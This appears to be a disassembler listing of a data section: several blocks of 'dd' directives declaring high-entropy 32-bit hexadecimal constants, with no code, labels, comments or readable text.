		dd 0D910CC7Dh, 0CEEE2BCCh, 1BE020BFh, 35519362h, 770FEC78h
		dd 0B88B28A9h, 0D7E6052Bh, 5262AD0Bh, 21FF3380h, 4FA09431h
		dd 3D99A8CAh, 0E26C2F89h, 0AC912E2Fh, 53F2514Bh, 0FB077589h
		dd 2DA0879Ch, 3F959A9Bh, 9AA5684Bh, 2535518Ah, 0FF1D0405h
		dd 47C90CF1h, 0EFBD96C3h, 0CC9E767h, 90E0CAE2h,	0FBD23A19h
		dd 50E895A4h, 6BFF3B2Fh, 3EE8DBC8h, 0FE4B3F89h,	0DC568738h
		dd 8BF65F81h, 4FE3AFEh,	7B7126F1h, 2CFAAB3Ch, 0A9D8F041h
		dd 9B17A67Eh, 7D9F0550h, 0E692137Ah, 70E0F81Bh,	0F55705DDh
		dd 781D82Ah, 27D58967h,	8C47FBBAh, 0E034ED5Dh, 0E34FEA47h
		dd 0C731DB2Ch, 0C7B3F73Ch, 7DBC70E6h, 0F47D2A2Fh, 60BF9F5Ch
		dd 0BB905C27h, 0AE55C521h, 988B4981h, 0E8299115h, 1DDB8B3Bh
		dd 0B442AB57h, 28460A30h, 814E804Ah, 0FFB17DC4h, 8EDFFEB1h
		dd 0DC28C834h, 97FC15EEh, 9B8B4BE1h, 66F78631h,	0C5590FA7h
		dd 901E2ABCh, 0C08182B7h, 2D5B9807h, 9877A3Bh, 352C3EE0h
		dd 40D4C030h, 0AC325BB4h, 8BCDFD84h, 0D667B3B0h, 858B4442h
		dd 0BB52034Dh, 0B44481DEh, 0A0C6DDA2h, 17E508D6h, 0C059B166h
		dd 3F65A242h, 25A9FF95h, 9F85D432h, 0F891D601h,	7304DD0Fh
		dd 276877DBh, 0D3501D32h, 3BF8C44Ch, 5A84AE88h,	34C9B828h
		dd 0BE8E8CD9h, 1ADC68F2h, 0F41F391Dh, 3A52182Fh, 7BEE7F9h
		dd 3EF16D8Eh, 22587DA6h, 92D32004h, 431741BAh, 0C89B6F88h
		dd 0A8715CCh, 0F230DC83h, 0A0D66DCCh, 6F907CF9h, 9518005Dh
		dd 77EC21C8h, 0A163EAA8h, 0BFF6FA4Fh, 0E9ADEF8Bh, 0DCC3391h
		dd 0E1723393h, 19512D51h, 0B081C450h, 550FD65Eh, 65C1627Eh
		dd 3A7BD663h, 89650D78h, 573B1AFFh, 0EC42FF37h,	0CEEBC74Fh
		dd 39290EDDh, 4945F5A0h, 7EE147AEh, 2474E0EFh, 2FDBBEB3h
		dd 7AE6B405h, 15AC978Fh, 0B936C9E5h, 1E05F243h,	0A5E0E4BBh
		dd 4D248FFEh, 2DD365FEh, 0C3519F4Ah, 6B22CF5Ch,	44A05ED6h
		dd 0A5B749CDh, 0EA3603ADh, 0DB6F8C16h, 72BD7CDh, 5CC83A09h
		dd 79B09B5Fh, 96795A9h,	0C6B65AFAh, 0B37B2BEEh,	0BF662DE6h
		dd 0CADFE84h, 7DEA4947h, 7E7FEDF7h, 2CF350C0h, 0DDFDF43Fh
		dd 45148196h, 39B05CEh,	6D2E4517h, 0EEB60BC5h, 26F73682h
		dd 9D96E414h, 63125D1Ch, 0FEB60F3Eh, 0D8F9AABFh, 0D8CD271Dh
		dd 5E2726CFh, 4ECE31B8h, 610C305h, 0AD6372B7h, 91F11500h
		dd 7CC522E5h, 35BEB7D4h, 7382233Ch, 0E9A4363Ch,	3D658F1Eh
		dd 0D312FB79h, 0D9A26B99h, 5FB3A7D6h, 0FBA863E2h, 0AC703F29h
		dd 0A50ABD37h, 70A1BB43h, 0C2113681h, 450E7F34h, 69E844B4h
		dd 0C2EA5EC2h, 0A2AA5558h, 24F172BCh, 2D2B528Fh, 115823D0h
		dd 8CA1489Eh, 17C912DAh, 9C5816ECh, 0B2129C9Dh,	0BD71BEFAh
		dd 0D1B202AAh, 0CFF05D14h, 0F061CAB3h, 0C897F88h, 174166AEh
		dd 0E41BDCBAh, 48AFA129h, 0C112BD5Dh, 7E75A808h, 81A5801Ch
		dd 0D732BBF9h, 9648D46Dh, 32ABB0C3h, 280810E2h,	99FFEAA1h
		dd 45071573h, 0E5E3E22Dh, 0D403E053h, 94694063h, 8574CC5h
		dd 0FB4664A1h, 75E44B7Ch, 2E7C63D9h, 12332BACh,	6AE37D32h
		dd 0D174F379h, 443CE234h, 89382721h, 78D9562h, 0A0A18C96h
		dd 0B05378D7h, 8ED051E8h, 0CEF7207Fh, 0C2508964h, 227C623Eh
		dd 13BB2C71h, 52980C78h, 0D4BE23B0h, 4A96CA89h,	5F58E3Ah
		dd 5A46C7C9h, 0C558F29Fh, 19B5738h, 100F22BEh, 85005E88h
		dd 18521D26h, 28F1B040h, 7830E0F0h, 3742CC25h, 62FBC93Eh
		dd 0DC231E23h, 87C0857Bh, 0F0BEA5DDh, 63BC244h,	0F417201Ch
		dd 7B2A0BFBh, 7750A6C3h, 52021862h, 115433C8h, 0F2B16DECh
		dd 91BDE5EDh, 0B39DA96Fh, 63D35640h, 222D8E65h,	5DA19E0h
		dd 13CB8A6Ch, 0BE7BC203h, 0A7DC436Fh, 0B372F856h, 0C4E3B09Ah
		dd 0D99021ECh, 0C55BD21Dh, 0FC55FC76h, 5F11B69Fh, 99D9E9CEh
		dd 16E8B8A7h, 12376A8Eh, 0E298AA9h, 9F58668Ch, 6C419DDh
		dd 6843F3C7h, 0A1A1E22Bh, 0F8B8E3C8h, 9073B073h, 0D78EFAA7h
		dd 50E1AABBh, 189DC553h, 0B2E95837h, 0D5C078F2h, 933410Eh
		dd 97E71300h, 6688A54Fh
		dd 972818DEh, 3663AF6Eh, 0F3B00BA6h, 0A241027Ah, 6174BCBEh
		dd 40949756h, 688DDE66h, 4ACD75BFh, 0BD1E3FF4h,	8A988AB3h
		dd 8918FB51h, 0DCAB54D9h, 1FECB514h, 0D9417992h, 20B97D56h
		dd 383F18DCh, 9BDE64D9h, 0FFD128B0h, 2B459412h,	0E55FB898h
		dd 0B7F5867Ch, 0B066C748h, 308D95C0h, 0F791101Fh, 0C2AA61D2h
		dd 10CCF0B0h, 51583FE2h, 3EFAC3A3h, 0FFF7BDC0h,	282BE400h
		dd 0D5CC5AB1h, 64E202D0h, 0E664DFF0h, 0CD0A906h, 0CC88943Fh
		dd 0B81A069h, 3F215909h, 944413C9h, 0A8052FE0h,	6933A45Bh
		dd 5F48D97Eh, 96BD682h,	0D2FD64Ah, 16F11365h, 7F733092h
		dd 4BC30D32h, 171E2694h, 5EE74EB5h, 0CA799C71h,	0CD5852A1h
		dd 0DE175C04h, 59F191A3h, 0DD880171h, 0E65429F8h, 7FF8FADFh
		dd 4CBE7396h, 7D6DE290h, 0F91444FDh, 340DC0A0h,	221A27C2h
		dd 567FB03Ch, 59DDC514h, 0A2E79526h, 7192DDB9h,	0A976B7D8h
		dd 30E110F5h, 0E0312EE0h, 5C094537h, 5E9461C0h,	0FD6C7B1Ch
		dd 87214A38h, 947AFC2Eh, 0B4F0D075h, 2A29630Bh,	3D4500EFh
		dd 0BC4F66Fh, 0F9690AC0h, 9CCF34B9h, 4C0E17BEh,	9E7A20EFh
		dd 0A7F91C41h, 0E4B498E5h, 4431CF55h, 62BD3394h, 5B1FA539h
		dd 0CDF049F7h, 0D2C76A63h, 83A21169h, 8679A49Bh, 187D1A91h
		dd 753A2D1Dh, 0FAF6BFA8h, 0C0EA8E8Dh, 968D8778h, 81C9CFBAh
		dd 2DE60286h, 0F60F52FCh, 15C05205h, 47E2CF0Ch,	0DE854992h
		dd 49EC65A4h, 37CC83CAh, 56FD7E5Eh, 0E908678Bh,	71A855C4h
		dd 0F9721382h, 0EC613884h, 0BC75CD49h, 37F1424Ch, 8D500B1h
		dd 0C55D281h, 3CD69D15h, 405DAA36h, 0B8893723h,	0DF9DEF5Eh
		dd 0BF51CDA2h, 0E208096Ah, 9DE30DE8h, 0CDC7B83Eh, 5B924AAAh
		dd 63A211E5h, 0F2330E0Fh, 8E2C9B3h, 0BDF118E4h,	2FEA5496h
		dd 0F4E40265h, 0EFAEE82Ah, 0C0DD8FA8h, 58ED247Dh, 5F222394h
		dd 0F7E2CA55h, 52CB3D68h, 90113FDAh, 5B9CDDAFh,	0CD5D5279h
		dd 0E019A490h, 69239F85h, 0F8A4EE6Ch, 0C1FF06AAh, 0ED806542h
		dd 0C79C8F29h, 8AE330A3h, 3EED2B7Ah, 4C8CA97Ah,	8B5E8686h
		dd 0ADBC8D2Dh, 0AC11A5BEh, 0A128D0Eh, 0C4ECE36Bh, 2475336Dh
		dd 0DD65B6B9h, 0D5041852h, 628E77D9h, 0C04917D3h, 19F16533h
		dd 800BCB99h, 0C7527045h, 3461286Bh, 9B8C4F0h, 1C20CBE6h
		dd 3AD76BA8h, 6FA8332Ch, 0BB9A321Dh, 0B6D2A685h, 9143D82Ch
		dd 0D03F5EEEh, 733EF352h, 0FF70A173h, 52AC5ED1h, 0ADF3E22Bh
		dd 0E358C18Ah, 0B3049D72h, 0E91E3B78h, 25C6EC49h, 1EF3D38Ch
		dd 0BE97F2BAh, 24EAB37Fh, 0A2B0E40Ch, 586EBA2Dh, 109C5F14h
		dd 199CC750h, 6445A537h, 0D78FEA8Fh, 0DB74EB05h, 9E48B91Dh
		dd 582E90B7h, 0D27C8ADDh, 2FA27D79h, 51559B4Dh,	820C793Fh
		dd 9973793Bh, 5D1063D7h, 8EE78079h, 2EC13371h, 432886E2h
		dd 875E9AEEh, 0E87C06C3h, 0E34C9103h, 0F4A011D1h, 6F6C2EBEh
		dd 9990418Ah, 56CD2F33h, 67A53903h, 0E5F46388h,	254E8146h
		dd 0F8F3E109h, 257FA7B5h, 288B6780h, 0F463F13Eh, 49C67BFEh
		dd 383D3639h, 0B60574D6h, 0A4183CA5h, 736F5AEDh, 0E967BBA2h
		dd 6BAABEEBh, 0F471CF62h, 2C3AF631h, 69B7BF4Dh,	3C52FCB1h
		dd 0E14A2CF9h, 0A281B05Bh, 2EA301A3h, 31CFB719h, 2E46D84Bh
		dd 7863FD08h, 0AA7F466Ah, 0CE993488h, 0AFA4433Dh, 6CCD232Dh
		dd 3880FEF3h, 593074D1h, 382519Ch, 7FE2BB6h, 847FE0C9h
		dd 199164Ah, 0AD61D04Ah, 8BE72EF7h, 0E599EECDh,	0B28CF569h
		dd 846EE7E4h, 0C07FB32Eh, 6A30313Ah, 9F70CE23h,	0F73953D2h
		dd 0EDB9AB6Fh, 60E73631h, 1192DB1Bh, 11E8445h, 0D313F3A0h
		dd 2F5DD279h, 51E06CC9h, 0DFC750DDh, 4836E9E8h,	0ED14EE4Ah
		dd 79438B96h, 8FFC3639h, 7934FFC7h, 66499114h, 9AD3ED11h
		dd 873D0B81h, 0C499612Ah, 0D5FEF1B4h, 0A8BAEE6Eh, 4797A124h
		dd 510E8590h, 0FC984552h, 7BCBBEC1h, 0C4828D4Eh, 23CDE6FEh
		dd 0E68E5661h, 6BB4BE64h, 9A9D622h, 2B3AFF38h, 643E1AF2h
		dd 0D0F938C2h, 0B6E97017h, 6337A8Bh, 8E3ABE0Dh,	0CD5B21Eh
		dd 6B4DCE9Dh, 0BF881AFh, 0CFDB4672h, 0C1C1981Bh, 47AC8D2Dh
		dd 8113927Ch, 6F2E21A4h, 0F3FA3CB1h, 0D9F2DBD2h, 8C91B5E0h
		dd 0D649C23Ah, 0BF18C7E4h, 7D47C851h, 0D1E44D46h, 0CF516DF6h
		dd 0E4DFA30Ah, 41D90178h, 2324E9B2h, 0CB831E88h, 3638AE9h
		dd 0D04EE99Bh, 27A7560Fh, 74BC9D91h, 184ECA31h,	92DDE65Fh
		dd 2D1DE568h, 8E0E6552h, 0CA1BDAECh, 0A929FA20h, 3862F03Dh
		dd 471C5D14h, 840B5C5Fh, 3CFF52B1h, 0A656012Fh,	0AB69D028h
		dd 1E5A8294h, 0F624822Dh, 0B7CCA815h, 0DB5038B2h, 25A76DD3h
		dd 56228446h, 7CC942FAh, 94B74694h, 39B85AF8h, 0F1B956D8h
		dd 0F64F8E54h, 0C551D33Dh, 0C3D69823h, 0C56196DDh, 74C18A9Fh
		dd 0CA0320AFh, 7420FA2Bh, 94247CF1h, 39E4A0C9h,	6BFA2E74h
		dd 0E0730ADh, 0F1777E1Eh, 0C94CDD9Ch, 6FA0B25Bh, 604C5875h
		dd 412BD0AAh, 0B20AAEC1h, 6795CE7Ah, 17B663EDh,	0E8558D2Dh
		dd 0BF563FD3h, 9F27CC2Dh, 759AF70h, 0F5AA498Ah,	0DABF4DC8h
		dd 1DA147EFh, 12A879DCh, 0C02BFC27h, 0DA858AB6h, 40AF011Fh
		dd 36CBA7C0h, 0A1342FEh, 4C699D99h, 4F5B4E76h, 152E838Ah
		dd 3EDC71BEh, 0A69073BFh, 4E737643h, 0F8C1BF05h, 0E6B338FEh
		dd 3A4DAD08h, 0B264945Dh, 79BED411h, 4AEFBF9Ah,	65FF967Fh
		dd 11725CAAh, 0A763D09Bh, 0A50877B6h, 8576EF9h,	17FEAB84h
		dd 0D15B06D8h, 0EB063DA2h, 0F047BC05h, 0AA0A0346h, 0F2F49863h
		dd 0DF4FAB5h, 8D924D3h,	135033EBh, 15D77893h, 89A033FEh
		dd 53CED304h, 8FD9D4ADh, 607DAA7Bh, 82840CF9h, 93B660C8h
		dd 2BAB7FBCh, 0C82ED197h, 541ACBCBh, 9C21296h, 0AF3E0317h
		dd 79063142h, 290943E5h, 0C96289C6h, 6E84DB51h,	0A906CE6h
		dd 0A60B6057h, 0C2235B9Ch, 1248F0BDh, 53AA26B0h, 80F5925Ah
		dd 834C2C60h, 52FFC43h,	1E98AB59h, 9959ED59h, 0FB0ABD2Dh
		dd 1EA6BEFFh, 0E717C795h, 39397085h, 521520D4h,	4425A545h
		dd 8582ADBDh, 448CC512h, 0E66BDAC7h, 0ED70D339h, 0C22D440h
		dd 0B4844ECDh, 0D508D648h, 4537A312h, 0E6863C54h, 0FFB437BCh
		dd 4187DE2Ah, 0F704E9F1h, 0EFE857C2h, 0C483400Dh, 1C09BA87h
		dd 0F790F39Eh, 0E98B5417h, 0D17CF51Dh, 70707D77h, 632BF427h
		dd 43A2D48Dh, 3FD9FCE2h, 0E4AE798Eh, 6A656A0Dh,	0B134BCACh
		dd 601510A4h, 7161563Bh, 1970BE68h, 90D9D68Ah, 0FB03A5B3h
		dd 189F0F57h, 42935247h, 2D62B7CCh, 0EA53F508h,	7152783Dh
		dd 95D90E8Bh, 7102B7B0h, 6C47BFB2h, 513A8021h, 0A408ECDCh
		dd 90EBB141h, 0EE7F37D7h, 25BDADE5h, 171F32FEh,	795D0C32h
		dd 4C286280h, 47BC9F65h, 0C96AD30Eh, 2304B656h,	0CB22D362h
		dd 0FDBF9113h, 501B6B30h, 36E8B13Bh, 91DFBC6Eh,	0F3258B55h
		dd 0F12CD888h, 0D3F0BC7Ch, 0F50BEE02h, 0F5C07686h, 0B5008D69h
		dd 0D1650A57h, 0DEF8EAD3h, 69F020F5h, 160ECA91h, 0DC391DA4h
		dd 0E19CF75Ah, 0DD8B3AE3h, 0D0CF5A51h, 9CDEB5A6h, 0FE1198E0h
		dd 0CDF8084Eh, 977B0232h, 0FA78A84Fh, 0E31D3Eh,	1BCA7E30h
		dd 938FCA96h, 597A771Eh, 55F65343h, 0BEB7E3D3h,	0B351D07Bh
		dd 22C2CB8Bh, 24363E78h, 46EA75D5h, 0DBD92E09h,	0ED3B42F2h
		dd 0A04F462Ch, 0DA848D7Ch, 0C9AB4B3Ah, 3DCDDE18h, 9260C94Ch
		dd 0B83574E5h, 5A8A4D34h, 5050BB17h, 0BCD701Fh,	26AF0589h
		dd 4DE0EC55h, 0BDFE46DBh
		dd 10DFCDE2h, 0A0A93CDEh, 292713B9h, 8712D186h,	3EB18CBBh
		dd 367DDBA5h, 518C5CE2h, 0BF7E8756h, 90D739FDh,	9FA3236Bh
		dd 6688F3C0h, 0D171AC44h, 0A8988C4Dh, 7B882965h, 4ACBEB8Ch
		dd 8493C78Ah, 8A223EFDh, 0E68497E1h, 22FB9918h,	0BF9498B8h
		dd 386E115Bh, 0CCF0D6DCh, 8544CA02h, 6738FDBEh,	3081FAC0h
		dd 7F71D26Bh, 0DAF84496h, 0E55F34Ah, 28FEE62Ch,	8E5A358Fh
		dd 0E0E4D15h, 2E8136C7h, 8D3329F3h, 6BF5079Fh, 43824352h
		dd 4928D39Eh, 0F53A23F3h, 0E2A8C45Eh, 0AD5FD989h, 6FE92B12h
		dd 58950765h, 2ADE88C5h, 311D615Bh, 0C0B041D0h,	8347BDAAh
		dd 0C7FAB683h, 1BE1806Fh, 25D9F21Dh, 197C5AE4h,	0A7DC1A94h
		dd 0BCC656CAh, 9174998Ch, 8C65FD91h, 0A74A8C13h, 0F8F473B1h
		dd 0A8261EB7h, 5D7F2B9h, 0C1C9491Dh, 9A1CF4CDh,	948D7C21h
		dd 0FFEF8244h, 0E3CCBB2Eh, 0D823AEB7h, 8E3B82E5h, 0CE89C845h
		dd 0F1BDF9EEh, 0D5115220h, 0FF7B87ACh, 8D912C93h, 7FE31DDEh
		dd 7780C1A6h, 58A06862h, 0F3F88BAAh, 0ADF6AC89h, 0FEF76CD1h
		dd 0A8136497h, 0C1135BA5h, 0EE8EE781h, 1899BD2Bh, 275400E5h
		dd 0A9FAB5BCh, 0B5CBBAD7h, 3737DF43h, 0FF6A316Eh, 736C70F0h
		dd 0FA2DBEB0h, 1F18F73Ah, 0A884BA32h, 0B50184DBh, 0EE19C89Ch
		dd 0F6660218h, 0BC2FC8B5h, 6893E973h, 15C1749Dh, 5344464Ah
		dd 0F5AC632Ah, 84C17C3Dh, 0DE9C1F67h, 0CC3603C3h, 7EAA73E9h
		dd 0CD47C032h, 0D5BFC2BEh, 1948C868h, 59041EBEh, 72BB7BB9h
		dd 6FF68ED9h, 0BDA78117h, 206C35F1h, 44B92EDCh,	0E67C98CEh
		dd 36F3C28Fh, 0F8FC26DEh, 0E841DCE6h, 0A7C0661Dh, 6DFFF7DDh
		dd 0DC8587BAh, 9FCC2752h, 47D8664Dh, 5AA7652Dh,	0A69B9A6Eh
		dd 3416D7FCh, 0A50F0917h, 446E32F7h, 0D6501786h, 0EF503643h
		dd 0A51A85DBh, 0BE0BC0CBh, 0FF5D4823h, 5EDD87EFh, 0B1E1C370h
		dd 0AC4C21ABh, 4BCE8986h, 8055CA82h, 80007489h,	5E871486h
		dd 0B6AF52BBh, 5FDD6B93h, 7A565894h, 2EE627CDh,	0CA63E530h
		dd 94799F46h, 749B4D8Dh, 0B2AB5DC8h, 2EF0757Ah,	0D90F6727h
		dd 787B8358h, 9F848E30h, 63C76206h, 0D65A2719h,	9A474668h
		dd 0CEFCDB32h, 158D8EB1h, 0BF51A949h, 7A3F9407h, 9FC7FE47h
		dd 0E3266154h, 2AF750FDh, 0E230BE43h, 0F0C66BFFh, 138DE418h
		dd 2B821F6Ch, 0EF35F61h, 10AC8880h, 0BDA7B34Dh,	551C9933h
		dd 0D277B6D7h, 0C8758414h, 0B55F22EFh, 0B461A24Eh, 91670DCBh
		dd 16618B2Ch, 0AFB2E619h, 7A29E720h, 0DC22297h,	88259E95h
		dd 0DD1FC5BCh, 0B0B216DBh, 12EB4BBh, 33621465h,	59BC87E8h
		dd 0EA8EAE79h, 9C1AA3C7h, 60723F5Fh, 0B2504F39h, 5D1BDB7Eh
		dd 0E8ACBE45h, 0B77DA9E0h, 94B4DF44h, 6A9FB1A0h, 6A7A1544h
		dd 1388BD40h, 3D58E24Bh, 0CDE91064h, 14053EBEh,	0C706B0D6h
		dd 0B334A696h, 388973D8h, 7D8AF64Ch, 975AD288h,	31C4A615h
		dd 3A382251h, 0E1DE4AB4h, 0D6BBDFC0h, 0DBA41DD0h, 0C519A944h
		dd 0C0D725D4h, 2A7A7293h, 0BDF981E8h, 330C31F8h, 0B25BC86h
		dd 71F107C1h, 0CE08549Eh, 0C301C50Dh, 384DCA64h, 83B69184h
		dd 0EDF4409Ch, 19EDDA37h, 986322DBh, 0B3603F52h, 62964D01h
		dd 8AA535E2h, 0F2E045A0h, 0C74A8B44h, 7F38BEEFh, 0F963DE04h
		dd 471DA41h, 91AAC392h,	538A6E1Ch, 0B3CE1758h, 4C326D7h
		dd 0AD613BFh, 21E5E60Dh, 77E90D59h, 64C0418Ah, 6C2AB5AAh
		dd 6EE18425h, 30F60FA4h, 0CAF82706h, 0AB29A460h, 0A79B3FAh
		dd 3FA16FFFh, 9544E08Ah, 8398BB58h, 2F252DBAh, 20190D36h
		dd 2DD84136h, 23C889AAh, 10D23F0Ch, 0B6285179h,	2B68996Ch
		dd 0F7320491h, 6FF47F28h, 2BF64D8Eh, 36157EA5h,	921A25FDh
		dd 59C625CFh, 7CFD26Ah,	0C41B9B19h, 83BF775h, 53F224F6h
		dd 4BC8D2D7h, 9731E994h, 0E99E5F75h, 82BD64FCh,	71ED96A2h
		dd 0D011FF46h, 10EAA08Bh, 32B4A152h, 119E7E71h,	0EC67635Ah
		dd 2E29862Bh, 0E9340CF5h, 0D2D9F160h, 0DD2E2C4Dh, 40C2089Bh
		dd 5E444BAAh, 0E4614935h, 27433256h, 0F4626390h, 10F38674h
		dd 19626030h, 6D9CA2A1h, 448838E8h, 0FE74A5C0h,	253EF53Dh
		dd 187EBC3Ah, 0AD8C7A7Ch, 57CDF86Eh, 2C8E3FF2h,	0FF3DF113h
		dd 0D6A96E00h, 6CF24037h, 1FEA4E8h, 14D5EDAEh, 2ADB4B9Fh
		dd 0D36E7C2Ah, 6CEFF0C6h, 0CA2AFFh, 304A5FEh, 0DB7AB122h
		dd 69D8050h, 0B6119766h, 2A33FE18h, 0C86806FEh,	0D943CB13h
		dd 0E267EE82h, 0C3832170h, 81A45932h, 0B40A6BC7h, 3B2615F9h
		dd 65AFC3Eh, 679B7533h,	0EA6028A8h, 8109222Bh, 0FA9F2104h
		dd 49F021E6h, 0E57B5BB3h, 0BBBB7EABh, 45805934h, 8286C828h
		dd 32F450h, 0FBBB7037h,	521C09BFh, 0C8DCA069h, 0D94889CAh
		dd 0B4F4F7B1h, 38F69F7Eh, 459AEEB8h, 603FADF1h,	0D9B18946h
		dd 98DF915Eh, 378C185Dh, 65DC7981h, 0EB18D5E2h,	6299A47h
		dd 3577B2D8h, 1DD754F2h, 0B9478BB5h, 0D906D951h, 4CC82464h
		dd 0B63E76B8h, 969A4272h, 0D466D278h, 88197CBCh, 4D985787h
		dd 0FCB66BABh, 6ECCF2Bh, 66C25ABEh, 0EB42417Ch,	3A2A4B09h
		dd 7828DF5h, 1DCCBF3Dh,	0B8C2510Bh, 5E5D68A1h, 14F554C6h
		dd 0C6CEE189h, 0AB6B7283h, 34669C73h, 3AE79A88h, 2901275Ch
		dd 20F9D294h, 0BF94377Eh, 6E5DA482h, 0ABB270CCh, 5448FDF8h
		dd 722ACE56h, 92D7D6BDh, 9A94E541h, 0F5C66Fh, 659E5750h
		dd 0DD5A48D7h, 0CCA68741h, 6059AB15h, 2EFE8E1h,	4A8B0F44h
		dd 0A2CA76Fh, 0E74457AAh, 1B964795h, 440520D0h,	1024758Ch
		dd 30D5B7C4h, 0D2DA5000h, 7C10A34Dh, 0BCFE984Ch, 40766FF4h
		dd 0F45135C7h, 70DD5439h, 97AB083Ch, 1A67FB60h,	0E668B745h
		dd 0E75BD4A4h, 4A98787Ah, 0FC644745h, 648B47E6h, 0E727262Fh
		dd 1DC45F2Fh, 30F140A9h, 0E3112265h, 812ABBAh, 9F461EB4h
		dd 0F8D6DE8Fh, 0D8C2A42Fh, 0B51D115Ah, 92E0D999h, 0F607E869h
		dd 5EF71A3Ch, 0DEB4BEFBh, 119A57DFh, 0B635BD0Ah, 72FB2C79h
		dd 0C320F424h, 92A620Eh, 92236DBCh, 854F6D93h, 3945FD60h
		dd 7BC50CF4h, 0A3AF93B0h, 73279D18h, 25F7864Fh,	0BA446A46h
		dd 0ABC332F2h, 0A898521Eh, 0D81BE0CAh, 9A0AFB57h, 0BDBCC1DAh
		dd 0E1C59F48h, 80ADC71Bh, 0E212ABD6h, 0EE12D843h, 25877AB3h
		dd 6DC1F67Ch, 0A7F66CECh, 5BE75584h, 39687976h,	63D16643h
		dd 8944E32Bh, 6CF7FB5Ah, 6B8FE5A6h, 0B3F77927h,	0D2BA3262h
		dd 0EA50BE79h, 93822069h, 48CAFB4Ch, 3F9729F0h,	2B10F208h
		dd 95EE94D4h, 434D9F1Ah, 0FDAD32FCh, 5EB6423Fh,	0F580323Ch
		dd 0FE314747h, 46270C38h, 9814EA70h, 297875C0h,	9878D96Eh
		dd 0FB7001F1h, 8F80D2A4h, 0C222ACD7h, 0C36137BCh, 0BB93834Ah
		dd 0BD2F77Bh, 569D3E5Ch, 0C9C0D8DDh, 0A17D3DC8h, 44FCEDEh
		dd 41AF7E2Fh, 3A5569E9h, 0D2F2BBB2h, 0CD48CE7Bh, 0F745C47Ah
		dd 383C06ECh, 27D28E6h,	3537A961h, 0FB99DB82h, 2D8C14DAh
		dd 0C8E55B0Ch, 7FED0BE9h, 0F1CE9F9Eh, 8633768Eh, 0C41EDED9h
		dd 0D16A970Eh, 39E58E64h, 165BA5A9h, 5E0E5376h,	0F013D72Eh
		dd 0B1599E1Bh, 93D39C03h, 0CB552800h, 5A0E8788h, 1B0F3D88h
		dd 0BD9AC612h, 0E86FEB44h, 0E789B17Dh, 0B8E7841Bh, 1FED8A2h
		dd 7E52786Dh, 1002E68Bh, 77B0A8B3h, 0D476D372h,	379BDCCDh
		dd 84D91C5h, 1926A60Dh,	1B1DCBAEh, 45E154F8h, 0F6EE842Eh
		dd 0F7FC9194h, 5FBFAA75h, 7914490h, 3A16A635h, 0E382084Dh
		dd 0D436921Ah, 5C04B89Fh
		dd 7FB9E05h, 4B173F7Eh,	10A4DADAh, 82FB825Bh, 0E5C88043h
		dd 0CE33203h, 0B4775193h, 6EF82382h, 87438C76h,	727A8D16h
		dd 2CCA9698h, 8F02E06Dh, 0BF7EFD76h, 0E1E570D0h, 0EBB42226h
		dd 48540CB1h, 0C97239A1h, 0BCD49C67h, 95C703C0h, 8028F7C4h
		dd 9CEE748Dh, 75CEED38h, 0C774DCEAh, 4FB42F0Ch,	3BF60DDh
		dd 1F1E4D3Eh, 814CCB69h, 88D1950Ch, 13098B28h, 5D5FEA7h
		dd 5C2EF526h, 0EAA823EBh, 3DB8A923h, 27AA0290h,	7A8D3AFCh
		dd 7C468D9Dh, 31E4D550h, 466B9267h, 25D76E37h, 4CEFD1C2h
		dd 269F97B1h, 42C42387h, 0FBD7961Eh, 574D0192h,	3A50A655h
		dd 0B47EEFC8h, 723FFB2Dh, 4C229688h, 0AAC8532h,	0FF46FD02h
		dd 0DB692357h, 2CDA008Ch, 246AAE81h, 22C912E3h,	66BBEAD9h
		dd 82D2F401h, 0DE65EA62h, 723BED5Fh, 5217053h, 0BBF757FAh
		dd 68F2ABFEh, 78AEBFDFh, 0D496D392h, 0B3DA4549h, 0FEDE59D7h
		dd 638E033h, 0DBB40CD0h, 0A8F2727Dh, 0BBEC1D38h, 80B91A72h
		dd 21A46BB5h, 892A17EBh, 0DC88D12Ah, 99069E5Dh,	0A789521Bh
		dd 0FCD3300Fh, 0F6AF1375h, 0FB655DC5h, 1D89EDEEh, 0DBF7D205h
		dd 0C8D6B07Dh, 0B6D7E881h, 326B532Fh, 560C8648h, 0C96271B6h
		dd 5BAFF9C9h, 551532DCh, 0FC63AD7Dh, 465E1F8h, 0F94807ACh
		dd 8E9B06C5h, 90EA02ECh, 89A05FECh, 8DA378CBh, 0DD86A6A3h
		dd 0C8763B30h, 313CFF60h, 0D7124960h, 5A71555h,	0A4954851h
		dd 6A4414D7h, 0EE6E9E40h, 968D934h, 0BF799D79h,	25953D2h
		dd 0FFBB628Dh, 4AFB026h, 38BE61F0h, 0F2CAADBFh,	460C0010h
		dd 80E219E4h, 0C687AE4Dh, 53B95D00h, 87A50F03h,	5603D3C2h
		dd 0CF0E4FF1h, 9A30460Fh, 0E100FA25h, 0C65181F0h, 0A074C83Fh
		dd 0D6A093A5h, 0BEE01817h, 0CFC4CC0Bh, 502FACF9h, 71EE0457h
		dd 0FAB647E1h, 4A8ABBBEh, 5FF70CD6h, 0C37BFED3h, 20FCE82h
		dd 52D420D9h, 0FF1E03DEh, 8B8C5A39h, 2C0749FFh,	836981DAh
		dd 8D40C2ACh, 885AD9ECh, 203D27Dh, 4B0AC3CAh, 97216D63h
		dd 4FBA3D06h, 0E1BF7413h, 35FE43BBh, 0FF1EC879h, 18717195h
		dd 0C74B0AEEh, 0A5F215B9h, 69D918DFh, 0FEA3049Bh, 659D6263h
		dd 0ACC927EBh, 69C7641Bh, 0DA4461CCh, 0FC104E47h, 0FF7A2AE7h
		dd 0D703DC1Dh, 9207A809h, 0FA8F77EEh, 0DD2A0F93h, 5963092Eh
		dd 0C4D38892h, 595D165Bh, 0E678E082h, 0F8857E16h, 6537C4FEh
		dd 0D32550A8h, 8EF77629h, 0C1552B39h, 1699395Eh, 3173ABEEh
		dd 6C98EE0h, 0A31E4697h, 8E0F46Bh, 6B15F823h, 2BBED4A2h
		dd 0D2B513C5h, 2F658375h, 0C7E9B0F2h, 0D397A962h, 6F2845CDh
		dd 93521891h, 0AA099D42h, 0CA8619ECh, 0DC9C4588h, 4C34EFBEh
		dd 0F474E322h, 6A6833FBh, 0E24ADB09h, 0BE7B8A27h, 8313013Eh
		dd 166500EBh, 0E1585AABh, 89B0B230h, 58F34A8Ch,	2E3C022Bh
		dd 4B2D3F02h, 0F99A1DBBh, 728B7EEEh, 93C343B8h,	0FE413D2Eh
		dd 42C07DA8h, 51D11FC7h, 2AA04191h, 0C9A588E6h,	4F84A505h
		dd 0DA73BACAh, 17B035CDh, 5F7162F1h, 77559077h,	2227E545h
